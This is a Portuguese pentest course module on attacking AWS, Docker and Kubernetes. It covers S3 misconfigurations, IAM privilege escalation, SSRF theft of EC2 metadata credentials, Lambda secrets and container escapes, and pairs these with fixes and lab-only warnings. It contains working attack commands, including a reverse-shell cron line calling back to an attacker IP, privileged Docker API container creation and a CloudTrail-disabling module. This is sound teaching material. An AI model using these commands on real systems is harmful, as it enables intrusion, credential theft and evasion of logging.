Cloud & Containers
09/09/2026
5 min read

MÓDULO 15 — CLOUD & CONTAINERS (com AWS em profundidade)

Team Hacking78

Especialistas em Red Teaming

Resumo Executivo (TL;DR)

Guia completo de testes de intrusão em Cloud (AWS) e Containers (Docker/Kubernetes). Entenda o modelo de responsabilidade compartilhada e aprenda a enumerar e atacar S3, IAM, EC2, Metadata, Lambda e serviços Serverless. Inclui escapes de containers Docker e avaliação de segurança de clusters Kubernetes.

MÓDULO 15 — CLOUD & CONTAINERS (com AWS em profundidade)

Objetivo

Entender o modelo de responsabilidade compartilhada da nuvem, enumerar e atacar AWS (S3, IAM, EC2, metadata, Lambda), escapar de containers Docker e avaliar clusters Kubernetes — do reconhecimento à exploração de uma conta inteira.

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 1 — Cloud pentest — o que muda (e o que não muda)

O que não muda: as vulnerabilidades de aplicação (SQLi, XSS, SSRF — Módulo 8) continuam iguais. O alvo continua sendo código, credenciais e configuração.

O que muda — o modelo de responsabilidade compartilhada:

text
Hacking78 Snippet
AWS é responsável PELA nuvem   → hardware, rede, hypervisor, regiões
Você/cliente é responsável NA nuvem → IAM, S3, EC2 config, aplicações, dados

Consequência direta para o pentest: na nuvem, a maioria dos achados vem de configuração errada (misconfiguration), não de software vulnerável:

text
Hacking78 Snippet
Misconfigs de nuvem (mais comuns):
- Buckets S3 públicos (leitura/escrita)
- Políticas IAM superpermissivas (tudo com *)
- Credenciais expostas (código, GitHub, Lambda env, EC2 metadata)
- Recursos sem autenticação (bancos, painéis, Redis)
- Roles IAM assumíveis por qualquer um (assume_role)
- Security groups abertos ao mundo (0.0.0.0/0)

Autorização em cloud (atenção especial): o escopo de um teste cloud inclui contas, regiões e serviços específicos. Testar conta de outra empresa sem contrato = invasão de computador alheio (CP 154-A), mesmo sendo "só a nuvem". Sempre confirme escopo por escrito — e lembre: a AWS tem política de teste própria (ATRT), mas ela não substitui a autorização do dono da conta.

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 2 — Conceitos AWS que você precisa (o mínimo operacional)

ConceitoO que éInteresse ofensivo
Conta AWSEntidade dona dos recursosO "domínio" da nuvem — o objetivo
Região / AZDatacenters geográficosRecursos vivem em regiões; teste a região do alvo
IAMIdentidade e acesso: users, groups, roles, policiesO coração do ataque — credenciais e permissões
Access KeyAKIA... + Secret KeyA "senha" de API — o que você rouba
ARNIdentificador único de um recursoUsado em políticas e exploração
STSServiço de tokens (assume-role, session tokens)assume_role = pivô entre contas
EC2Máquinas virtuaisO alvo "tradicional" (SSH, RDP, exploits)
S3Armazenamento de objetos (buckets)O alvo nº 1 — misconfig clássica
LambdaCódigo serverlessFunções com permissões exageradas
CloudTrailLogs de API (quem fez o quê)Evasão/detecção — apagar logs é crime
Metadata serviceIP interno 169.254.169.254O jackpot via SSRF (credenciais IAM)
VPC / SGRede virtual / firewallSegurança de rede (não é a parte mais atacada)

O fluxo mental do cloud pentest:

text
Hacking78 Snippet
1. O que você tem? (credenciais? acesso a app? bucket exposto?)
2. Enumere (pacu, aws cli, ScoutSuite)
3. Ache a misconfig (policy * → S3 público → role assumível → metadata)
4. Escale (IAM privilege escalation, assume_role, rota de ataque)
5. Documente (impacto = dados/recursos acessíveis, custo)

AWS CLI é sua ferramenta principal: aws <serviço> <ação> --region <região>

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 3 — Lab AWS — como treinar sem gastar (e sem quebrar a lei)

Três caminhos:

a) Conta AWS gratuita (Free Tier) — a mais realista

bash
Hacking78 Snippet
# Crie uma conta própria (com cartão, mas free tier cobre o básico)
# Use um BUCKET DE TESTE que VOCÊ criou, com nome único global
aws s3 mb s3://seu-nome-teste-seguranca   # criar bucket
aws s3api put-bucket-acl --bucket seu-nome-teste-seguranca --acl public-read   # ABRIR de propósito (lab!)
# e NUNCA use credenciais de produção em testes

b) LocalStack — AWS falsa no seu Kali (100% local, perfeito para o curso)

bash
Hacking78 Snippet
pip install localstack
localstack start
# Configurar AWS CLI para apontar para o LocalStack:
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
aws --endpoint-url=http://localhost:4566 s3 mb s3://lab-bucket

c) "Fake AWS" / sandboxes de treino

Flaws.cloud (por Scott Piper) e flaws2.cloud — laboratórios AWS gratuitos e LEGÍTEOS para treinar exatamente estes ataques. Use-os: são o DVWA da nuvem.

> ⚠️ Regra de ouro do lab: tudo em conta própria ou sandbox oficial. Bucket de terceiros não é alvo de treino.

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 4 — Ataque 1 — S3 buckets (a misconfig mais comum do planeta)

O que é S3 = armazenamento de objetos. Cada bucket tem nome globalmente único (nome-empresa, backup-empresa, empresa-dados). A misconfig clássica: ACL/política pública que permite List (ver arquivos) ou Write (gravar).

Encontrar buckets (recon)

bash
Hacking78 Snippet
# a) Na enumeração da conta (se você tem credenciais):
aws s3 ls
aws s3api list-buckets
aws s3 ls s3://nome-do-bucket

# b) Adivinhar nomes (se não tem credenciais — recon passivo):
#    Nomes comuns: <empresa>, <empresa>-backup, <empresa>-logs, <empresa>-dados, <empresa>-dev
#    Ferramenta: lazyrecon / bucket-finder / mass3 / bfac

# c) Google dorks (Módulo 4):
site:s3.amazonaws.com "empresa"
site:s3.amazonaws.com "empresa" filetype:sql
# d) Shodan/Censys: produto:Amazon S3 com ACL pública

Testar permissões (o checklist)

bash
Hacking78 Snippet
# Listar (aberto?):
aws s3 ls s3://nome-do-bucket --no-sign-request
# Baixar arquivo:
aws s3 cp s3://nome-do-bucket/arquivo.txt . --no-sign-request
# Escrever (teste SEMPRE com um arquivo inocuo):
echo "teste-seguranca" > /tmp/teste.txt
aws s3 cp /tmp/teste.txt s3://nome-do-bucket/teste.txt --no-sign-request
# Apagar (NUNCA em produção! só em lab/escopo com permissão explícita)
# (não faça DELETE em bucket de terceiro — é crime)

# Ver a política do bucket:
aws s3api get-bucket-acl --bucket nome-do-bucket --no-sign-request
aws s3api get-bucket-policy --bucket nome-do-bucket --no-sign-request

O que procurar em arquivos baixados: backups, .env, chaves (.pem), credenciais de banco, dados de clientes (LGPD!), código com secrets.

Impacto

text
Hacking78 Snippet
READ  → vazamento de dados (LGPD!), exposição de código e segredos
WRITE → defacement do site (se o bucket serve site estático), malware no download, ransomware no bucket, phishing hospedado
DELETE→ destruição de dados (equivalente a DoS + perda)

Correção - Bloquear ACLs públicas por padrão (S3 Block Public Access — ative no nível da conta!) - Revisar políticas (nunca "Principal": "*" sem necessidade) - Criptografia (SSE), versionamento, MFA delete - CloudTrail + alerta de acesso anônimo

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 5 — Ataque 2 — IAM (o cofre que quase ninguém tranca direito)

A base: policies e o que elas permitem

json
Hacking78 Snippet
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:ListBucket"],
      "Resource": "arn:aws:s3:::bucket-do-cliente/*"
    }
  ]
}

Leitura rápida: Effect (Allow/Deny) + Action (serviço:operação) + Resource (o alvo). Deny vence Allow. A frase mais perigosa da AWS: "Action": "*".

Enumerar IAM (com credenciais válidas)

bash
Hacking78 Snippet
aws iam list-users
aws iam list-groups
aws iam list-roles
aws iam list-policies --scope AWS
aws iam list-attached-user-policies --user-name usuario
aws iam get-user-policy --user-name usuario --policy-name nome
aws iam list-access-keys --user-name usuario
# Ver em quem você pode assumir role:
aws iam list-roles | jq '.Roles[].RoleName'

Escalada de privilégio IAM (o "sudo" da nuvem)

A escalada clássica em AWS: uma policy que permite criar/alterar credenciais = conta inteira. Padrões conhecidos (a referência é o trabalho de Rhino Security Labs — "AWS IAM Privilege Escalation Methods"):

Policy permissivaEscalada
iam:CreateAccessKeyCriar access key de um admin
iam:UpdateLoginProfileDefinir senha de console de outro usuário
iam:AttachUserPolicyAnexar AdministratorAccess a si mesmo
iam:CreatePolicyVersionAdicionar versão admin à sua policy
iam:PassRole + ec2:RunInstancesLançar EC2 com role de admin e roubar credenciais dela
sts:AssumeRoleAssumir role de outra conta/privilegiada

Exemplo (PassRole + EC2):

bash
Hacking78 Snippet
# 1. Veja as roles existentes
aws iam list-roles | jq -r '.Roles[].RoleName'
# 2. Lance uma instância EC2 com a role privilegiada
aws ec2 run-instances --image-id ami-XXXX --instance-type t2.micro \
    --iam-instance-profile Name=nome-da-role --key-name minha-chave
# 3. Acesse a instância (SSH), e de dentro dela:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
#    → credenciais temporárias da ROLE → use-as para agir como a role!

Correção: menor privilégio real, revisar policies (ferramentas: Prowler, ScoutSuite), não usar roles de admin em instâncias, monitorar iam:CreateAccessKey etc. (CloudTrail + GuardDuty).

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 6 — Ataque 3 — EC2 Metadata (SSRF → credenciais — o atalho mais famoso)

O que é Toda instância EC2 tem um metadata service em http://169.254.169.254/latest/meta-data/ — incluindo credenciais IAM temporárias da role da instância. Se a aplicação web rodando na instância tem SSRF (Módulo 8.6), você pede as credenciais sem tocar na AWS:

bash
Hacking78 Snippet
# Via SSRF (no input da aplicação):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME_DA_ROLE
# resposta: AccessKeyId, SecretAccessKey, Token (temporários)

# Versão IMDSv2 (exige header X-aws-ec2-metadata-token — teste via SSRF se der):
# 1. PUT /latest/api/token (TTL) → token
# 2. GET /latest/meta-data/... com header X-aws-ec2-metadata-token: <token>

Usar as credenciais roubadas

bash
Hacking78 Snippet
# Configure no seu Kali (exportar):
export AWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
# Agora enumere como a role:
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
# → tudo que a role pode, você pode

A cadeia completa (o exemplo de ouro do módulo):

text
Hacking78 Snippet
App web vulnerável (SSRF) → metadata → credenciais IAM da instância
→ S3 list/read → lambda list → ec2 describe → (escalada até o alvo final)

Correção: usar IMDSv2 (token obrigatório), remover roles desnecessárias de instâncias, mitigar SSRF (Módulo 8), WAF/segmentação, monitorar uso anômalo de credenciais.

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 7 — Ataque 4 — Serverless (Lambda) e funções expostas

Enumeração de Lambda

bash
Hacking78 Snippet
aws lambda list-functions
aws lambda get-function --function-name nome
aws lambda list-tags --resource arn:...
# Baixar o código da função:
aws lambda get-function --function-name nome --query 'Code.Location' --output text | xargs curl -o code.zip
unzip code.zip && grep -r "AKIA|password|secret" .   # segredos no código!

O que procurar em funções

text
Hacking78 Snippet
- Variáveis de ambiente com credenciais (env vars são fáceis de vazar)
- Código com access keys hardcoded
- Roles com permissões exageradas (a role da lambda)
- APIs públicas (API Gateway) sem autenticação
- Eventos (S3 triggers, cron) que exponham lógica interna
bash
Hacking78 Snippet
aws lambda get-function-configuration --function-name nome | jq '.Environment'
# → env vars com credenciais (achado clássico!)

Invocar funções sem auth (se a API Gateway estiver aberta)

bash
Hacking78 Snippet
# API Gateway exposto → teste endpoints sem token:
curl https://xxx.execute-api.us-east-1.amazonaws.com/prod/funcao
# fuzzing de parâmetros (Módulo 8) vale aqui também

Correção: secret manager em vez de env vars, menor privilégio nas roles de lambda, auth no API Gateway, revisão de código/segredos.

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 8 — Ataque 5 — Outros serviços que vazam (o checklist rápido)

bash
Hacking78 Snippet
# Bancos e serviços sem auth (recon via Shodan/Censys ou enumeração):
# - RDS/DocumentDB/Mongo/Elasticsearch aberto ao mundo → acesso direto
#   (teste: nc -nv IP 27017; mongo "mongodb://IP:27017")
# - Redis sem senha → RCE via EVAL/webshell (casos conhecidos)
# - SQS/SNS (filas) expostas → ler mensagens (dados)
# - CloudFormation/Secrets Manager/SSM Parameter Store → segredos
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# - EBS snapshots públicos → montar disco e ler dados
aws ec2 describe-snapshots --owner-ids <conta> --region us-east-1

Regra: para cada serviço da AWS, a pergunta é a mesma — "isso está exposto ao público ou a quem não deveria?" O Prowler (abaixo) automatiza essa checagem.

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 9 — Ferramentas de automação (o "Nessus" da nuvem)

pacu — o Metasploit da AWS (indispensável)

bash
Hacking78 Snippet
# Instalar: https://github.com/RhinoSecurityLabs/pacu (pip install pacu)
pacu
# Configurar credenciais (as suas, de lab):
set_keys
# Módulos:
run iam__privesc_scan          # detecta escaladas IAM possíveis
run s3__list_buckets
run s3__bucket_bruteforce      # procura buckets do alvo
run ec2__download_userdata
run lambda__enum
run iam__enum_users_roles_policies
run cloudtrail__disable_logging  # ⚠️ evasão — só em lab/escopo com autorização explícita
# pacu tem o "whoami" da nuvem e organiza tudo em uma sessão

Prowler — o auditor (defensivo/ofensivo)

bash
Hacking78 Snippet
# Instalar: pip install prowler (ou docker)
prowler aws -M csv
# Varre a conta contra benchmarks (CIS AWS Foundations) e acha
# as misconfigs: buckets públicos, roles exageradas, falta de MFA...

ScoutSuite — o mapa visual

bash
Hacking78 Snippet
pip install scoutsuite
scout aws
# gera relatório HTML navegável com todos os serviços e falhas

CloudGoat / Flaws.cloud — os labs

bash
Hacking78 Snippet
# CloudGoat (Rhino): cenários vulneráveis na SUA conta (terraform) — o "Metasploitable" da AWS
git clone https://github.com/RhinoSecurityLabs/cloudgoat && cd cloudgoat
./cloudgoat.py create scenario iam_privesc_by_attachment
# Flaws.cloud / flaws2.cloud: laboratórios públicos de treino (sem criar conta)

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 10 — Azure — o essencial para não ficar perdido (resumo rápido)

Se o cliente for Microsoft, o mapa mental é paralelo:

text
Hacking78 Snippet
Azure AD (Entra ID) ≈ IAM (identidades + MFA + apps)
Storage Accounts ≈ S3 (blobs públicos com access keys)
Managed Identity ≈ EC2 roles (credenciais via metadata 169.254.169.254)
Key Vault ≈ Secrets Manager
ARM templates ≈ CloudFormation

Ataques Azure clássicos: blobs públicos (https://<conta>.blob.core.windows.net/... com AllowBlobPublicAccess), Managed Identity via SSRF (metadata .../metadata/identity/oauth2/token), credenciais em app registrations, e o Pass-the-PRT (Primary Refresh Token) no AD — o equivalente ao Pass-the-Ticket. (Se quiser, faço um aprofundamento Azure completo depois, como fizemos com OSINT.)

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 11 — Containers — Docker (e o Escape)

O que procurar (misconfigs clássicas)

text
Hacking78 Snippet
- Container rodando como ROOT
- Volume host montado (docker run -v /:/host) → escrever no host
- Capabilities extras (--privileged) → escape direto
- Container com acesso ao docker socket (/var/run/docker.sock)
- Imagens com segredos embutidos
- Registry privado exposto

Enumeração de dentro do container

bash
Hacking78 Snippet
# Quem sou eu?
id; uname -a
cat /proc/1/cgroup | head -5        # se tem "docker" no caminho, você está num container
mount | grep -E "overlay|docker"   # confirma o ambiente
ls -la /var/run/docker.sock        # SOCKET! (abaixo)
capsh --print | grep -i cap        # capabilities (procure CAP_SYS_ADMIN)
env | grep -i "key|secret|token" # variáveis de ambiente vazando segredos
ls -la /; ls -la /home             # volume do host montado?
find / -name "*key*" -o -name "*.pem" 2>/dev/null

Escapes clássicos

a) Socket do Docker acessível (o mais fácil):

bash
Hacking78 Snippet
# Se /var/run/docker.sock está montado, você controla o daemon:
docker ps
docker run -v /:/host -it ubuntu chroot /host bash    # → shell NO HOST

b) Volume do host montado:

bash
Hacking78 Snippet
# Se você vê /host ou /mnt com o filesystem do host:
chroot /host bash        # ou escreva chave SSH/cron no host
echo 'bash -i >& /dev/tcp/SEU_IP/4444 0>&1' >> /host/var/spool/cron/root

c) --privileged (escape via namespace/capabilities):

bash
Hacking78 Snippet
# Com CAP_SYS_ADMIN (--privileged), monte o host dentro do container:
mkdir /tmp/host && mount /dev/sda1 /tmp/host   # ou o dispositivo do host
chroot /tmp/host bash
# Ferramenta: deepce (script de enumeração/escape de containers) — github.com/stealthcopter/deepce

d) Docker API exposta na rede (de fora):

bash
Hacking78 Snippet
# Se a API do Docker (2375/2376) está na internet:
curl http://IP:2375/containers/json
# ou escaneie: nmap -p 2375 IP
# Com acesso à API: crie um container com volume /: 
curl -X POST http://IP:2375/containers/create -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu","Cmd":["/bin/bash"],"Binds":["/:/host"],"Privileged":true}'
# depois exec → chroot /host

Correção: não rodar como root, não montar o socket, não usar --privileged, capabilities mínimas, read-only filesystem, seccomp/AppArmor, escanear imagens, nunca expor a API Docker (exigir TLS + auth).

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 12 — Kubernetes — o essencial de avaliação

Recon (se você tiver acesso ao cluster ou kubeconfig)

bash
Hacking78 Snippet
kubectl auth can-i --list                    # o que seu usuário pode?
kubectl get nodes,namespaces,pods,services --all-namespaces
kubectl get secrets --all-namespaces
kubectl get clusterroles,rolebindings
# Ver segredos:
kubectl get secret <nome> -o yaml | base64 -d
# Executar no pod:
kubectl exec -it <pod> -- /bin/sh

Ataques clássicos de cluster

text
Hacking78 Snippet
- kubeconfig roubado (arquivo ~/.kube/config no host comprometido)
- Dashboard sem auth (porta 30000+ exposta, token admin default)
- Role com permissão de criar pods (→ pod com hostPath → escape)
- Secrets em etcd acessível
- ServiceAccount com permissões exageradas (o token do pod)
- Metadata da cloud acessível DE DENTRO do pod (SSRF → 169.254.169.254)

A cadeia "pod → nó → cluster"

bash
Hacking78 Snippet
# Se você tem exec em um pod:
# 1. Leia o token do service account:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 2. Use-o:
kubectl --token=<token> --server=https://<API_SERVER> auth can-i --list
# 3. Se puder criar pods: crie um pod privilegiado com hostPath / → escape para o nó

Correção: RBAC mínimo, network policies, não montar hostPath, segredos em Vault, não expor o API server/dashboard, scan de imagens, auditoria.

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 13 — A ordem de ataque cloud (o fluxo profissional)

  • ESCOPO: conta/regiões/serviços autorizados + política do provedor
  • RECON: o que está exposto? (Shodan, dorks s3, credenciais vazadas em GitHub)
  • COM ACESSO À CONTA:
  • - Enumere (pacu, aws cli, ScoutSuite) → o que as credenciais alcançam?
  • - Ache policies permissivas → escalada IAM (pacu privesc scan)
  • - S3: liste, leia, escreva (checklist 15.4)
  • - Lambda: código + env vars + roles
  • - EC2: metadata, userdata, snapshots, security groups
  • SEM CREDENCIAIS, COM APP: SSRF → metadata → credenciais (15.6)
  • CONTAINERS: escape do pod/container → host → nó → (se cloud) metadata da instância
  • DOCUMENTE: impacto (dados expostos, custo, compliance LGPD), correções

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 14 — Defesas (o resumo para o relatório)

AchadoCorreção
S3 públicoBlock Public Access na conta, ACLs mínimas, revisar policies
IAM exageradoMenor privilégio, roles em vez de users, MFA, revisão periódica
Metadata abertoIMDSv2 + token, mitigar SSRF
Credenciais em códigoSecret Manager, scan de segredos (git-secrets, trufflehog)
Lambda com role adminMenor privilégio, env vars com secrets manager
Container root/privilegedNão-root, seccomp, AppArmor, sem socket, read-only
Kubernetes abertoRBAC, network policies, não expor API/dashboard
Sem logsCloudTrail ativo + GuardDuty + alertas (o próprio teste deve aparecer nos logs)

---

MÓDULO 15 — CLOUD & CONTAINERS: Tópico 15 — Atividade prática do Módulo 15

Tudo em conta própria (Free Tier), LocalStack ou Flaws.cloud/CloudGoat. Nunca em recursos de terceiros.

  • Flaws.cloud: complete os 4 primeiros níveis (buckets públicos, SSRF→metadata, chaves). É o melhor treino gratuito que existe
  • LocalStack: suba o LocalStack; crie um bucket; teste aws s3 ls e as permissões de ACL (abra e feche de propósito)
  • S3 checklist: no seu bucket de lab, teste as 4 operações (list/cp/put/acl) com e sem --no-sign-request; documente o que abriu/fechou
  • CloudGoat: suba o cenário iam_privesc_by_attachment; use o pacu run iam__privesc_scan e explore a escalada
  • SSRF→metadata: (se tiver um lab web próprio com SSRF, ou no flaws2) capture as credenciais via 169.254.169.254 e use com aws sts get-caller-identity
  • Pacu: configure suas credenciais de lab; rode s3__list_buckets, iam__enum_users_roles_policies, lambda__enum
  • Prowler: rode contra a conta de lab (ou LocalStack) e liste as 5 falhas mais comuns
  • Docker: numa VM de lab, rode um container --privileged com volume /; de dentro, escape para o host (deepce ou manual); documente
  • Kubernetes (se tiver): num cluster de lab (kind/minikube), teste kubectl auth can-i --list com um SA restrito vs admin
  • Desafio — a avaliação cloud completa: crie cloud_report.md em ~/pentest/evidencias/cloud/ com:
  • - escopo (conta/serviços/regiões autorizadas — modelo Módulo 3)
  • - recon e enumeração (screenshots do pacu/prowler/CLI)
  • - cada ataque: comando, saída, impacto (dados expostos, custo, escalada)
  • - a cadeia de escalada mais interessante que você encontrou (ex.: SSRF → metadata → S3 → assume_role)
  • - mitigação de cada achado (tabela 15.14) com prioridade

Resposta esperada: uma avaliação de cloud reproduzível, com a cadeia de ataque completa e o impacto traduzido em risco de negócio (LGPD/custo/disponibilidade).

---

📌
Resumo Prático: Ataques em nuvem raramente dependem de exploits complexos; eles prosperam nas misconfigurations. O pentest em AWS resume-se a enumerar permissões IAM e encontrar o elo mais fraco (um S3 público, uma policy superpermissiva ou um SSRF que vaza o EC2 metadata). Entender o modelo de responsabilidade compartilhada é crucial para não extrapolar o escopo. Containers e Kubernetes estendem essa superfície: escapes via socket do Docker, volumes host montados ou tokens de ServiceAccount em pods mal configurados são os caminhos clássicos de comprometimento. Ferramentas como pacu, Prowler e aws-cli são indispensáveis no arsenal do Red Teamer moderno em ambientes Cloud-Native.

---

✅ Checklist de conclusão do Módulo 15

  • Entendo responsabilidade compartilhada e o que muda no pentest cloud
  • Tenho lab próprio (Free Tier/LocalStack/Flaws/CloudGoat) e nunca ataco conta alheia
  • Enumero com AWS CLI (iam, s3, lambda, ec2, sts)
  • Testo buckets S3 (list/read/write, ACLs, políticas) e entendo o impacto
  • Identifico escaladas IAM (CreateAccessKey, AttachUserPolicy, PassRole, AssumeRole)
  • Exploro SSRF → EC2 metadata → credenciais (IMDSv1/v2)
  • Enumero Lambda (código, env vars, roles) e API Gateway exposto
  • Uso pacu, Prowler e ScoutSuite
  • Entendo o básico de Azure (blobs, Managed Identity, tokens)
  • Enumero e escapo containers Docker (socket, volume, privileged, API 2375)
  • Conheço Kubernetes (kubectl, secrets, SA token, RBAC)
  • Documento impacto e correções (S3, IAM, metadata, containers, K8s)
  • Respeito autorização e limites (escopo escrito + política do provedor)

Perguntas Frequentes (FAQ)

O que muda no pentest de Cloud em comparação com infraestruturas tradicionais?

Em Cloud, a maioria das vulnerabilidades se concentra em erros de configuração (misconfigurations) de serviços (S3, IAM, permissões) e não necessariamente em exploits de softwares. O escopo e o modelo de responsabilidade compartilhada são críticos, e ataques frequentemente focam em assumir permissões (escalada IAM) ou vazar credenciais (EC2 metadata).

Por que os Buckets S3 são alvos tão comuns em pentests de AWS?

Buckets S3 frequentemente guardam dados sensíveis, backups e segredos de aplicação, mas são repetidamente configurados com políticas excessivamente permissivas, permitindo leitura ou até gravação pública. Um simples bucket mal configurado pode resultar no vazamento massivo de dados de clientes ou na execução de código malicioso.

O que é o ataque de SSRF ao EC2 Metadata e qual seu impacto?

O EC2 Metadata Service (em 169.254.169.254) fornece informações sobre a instância, incluindo credenciais temporárias (IAM Role) associadas a ela. Um ataque de SSRF em uma aplicação web hospedada no EC2 pode forçar o servidor a acessar esse IP interno, vazando o token da role e permitindo que o atacante assuma os privilégios da máquina na conta AWS.

Quais são as principais formas de escape de containers Docker?

As principais falhas de configuração que levam a escapes incluem: containers executados com '--privileged' (permitindo acesso root ao host através das capabilities adicionais), montagem do socket do Docker ('/var/run/docker.sock') dentro do container, e a montagem direta de volumes do host (como '/') com permissão de escrita.